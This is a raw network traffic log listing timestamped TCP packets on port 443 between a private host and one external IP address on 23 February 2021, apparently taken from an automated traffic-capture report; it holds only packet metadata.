Feb 23, 2021 10:03:28.575304031 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.575323105 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.575396061 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.575417042 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.576492071 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.576512098 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.576529980 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.576580048 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.576608896 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.578613043 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.578630924 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.578646898 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.578728914 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.580311060 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.580329895 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.580343008 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.580404043 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.580425024 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.585741043 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.585762024 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.585777998 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.585836887 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.586154938 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.586173058 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.586190939 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.586210012 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.586241007 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.587028980 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.587045908 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.587063074 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.587133884 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.587927103 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.587944031 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.587960958 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.588002920 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.588059902 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.588825941 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.588846922 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.588864088 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.588912964 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.589687109 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.589710951 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.589731932 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.589793921 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.589819908 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.590569973 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.590589046 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.590605021 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.590703011 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.591425896 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.591444016 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.591516972 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.591578007 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.591629028 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.592298985 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.592317104 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.592331886 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.592401981 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.593174934 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.593193054 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.593208075 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.593256950 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.593287945 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.594067097 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.594084978 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.594152927 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.594216108 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.594945908 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.594963074 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.595099926 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.595169067 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.595226049 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.595814943 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.595832109 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.595844984 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.595902920 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.596709967 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.596730947 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.596749067 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.596817017 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.596848011 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.597601891 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.597619057 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.597635984 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.597712994 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.609827995 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.609850883 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.609868050 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.610018969 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.610626936 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.610646009 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.610662937 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.610723019 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.611315966 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.611335039 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.611351013 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.611388922 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.611453056 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.613276005 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.613301039 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.613321066 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.613406897 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.614403009 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.614427090 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.614449978 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.614494085 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.614528894 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.616034031 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.616055965 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.616075039 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.616112947 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.616452932 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.616471052 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.616487980 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.616498947 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.616538048 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.617312908 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.617322922 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.617336035 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.617428064 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.619266033 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.619285107 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.619301081 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.619338036 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.619374990 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.621099949 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.621117115 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.621135950 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.621176958 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.626390934 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.626410007 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.626425028 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.626538992 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.626786947 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.626804113 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.626821041 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.626883984 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.627662897 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.627681017 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.627696037 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.627737045 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.627777100 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.628489971 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.628627062 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.628648043 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.628684044 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.628752947 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.628808022 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.629431009 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.629450083 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.629471064 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.629524946 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.630295038 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.630311966 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.630331993 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.630352020 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.630393028 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.630948067 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.630964994 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.630980968 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.631041050 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.631761074 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.631778955 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.631817102 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.631894112 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.631943941 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.632560015 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.632576942 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.632597923 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.632657051 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.633346081 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.633364916 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.633394003 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.633421898 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.633455992 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.634165049 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.634182930 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.634249926 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.634252071 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.634927034 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.634943962 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.634960890 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.634990931 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.635046005 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.635694981 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.635714054 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.635730982 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.635791063 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.636404991 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.636425972 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.636442900 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.636459112 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.636468887 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.636512041 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.637398958 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.637422085 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.637443066 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.637468100 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.637499094 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.638088942 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.638107061 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.638122082 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.638161898 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.638227940 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.638297081 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.639091015 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.639108896 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.639126062 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.639166117 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.639230967 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.639287949 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.639985085 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.640010118 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.640029907 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.640064955 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.640130043 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.640180111 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.640908003 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.640927076 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.640939951 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.640986919 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.641052961 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.641108036 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.641791105 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.641819954 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.641835928 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.641853094 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.641889095 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.641920090 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.642674923 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.642693996 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.642709970 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.642725945 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.642771006 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.642801046 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.643563986 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.643580914 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.643596888 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.643614054 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.643660069 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.643690109 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.644454002 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.644471884 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.644490957 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.644509077 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.644514084 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.644547939 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.645338058 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.645359039 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.645374060 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.645397902 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.645433903 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.645457983 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.646214962 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.646231890 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.646248102 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.646264076 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.646306992 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.646342039 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.647100925 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.647119045 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.647135973 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.647154093 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.647203922 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.647233963 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.648010015 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.648027897 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.648044109 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.648081064 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.648150921 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.648197889 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.648854971 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.648873091 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.648889065 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.648916006 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.648979902 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.649023056 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.649756908 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.649776936 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.649792910 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.649843931 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.649912119 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.649955034 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.650645018 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.650671005 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.650686026 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.650702953 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.650712967 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.650738955 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.651541948 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.651560068 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.651576042 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.651591063 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.651635885 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.651674032 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.652410030 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.652429104 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.652447939 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.652465105 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.652483940 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.652524948 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.653192043 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.653209925 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.653227091 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.653244972 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.653264046 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.653283119 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.653991938 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.654012918 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.654030085 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.654047012 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.654088020 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.654110909 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.654155970 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.654939890 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.654958010 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.654970884 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.654988050 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.655004025 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.655028105 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.655060053 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.655910969 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.655927896 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.655945063 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.655961037 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.655976057 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.655977964 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.656009912 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.656867027 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.656884909 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.656899929 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.656915903 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.656924009 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.656958103 CET	49745	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:03:28.657855034 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.657872915 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.657891989 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.657908916 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.657926083 CET	443	49745	104.21.50.15	192.168.2.6
Feb 23, 2021 10:03:28.657927990 CET	49745	443	192.168.2.6	104.21.50.15
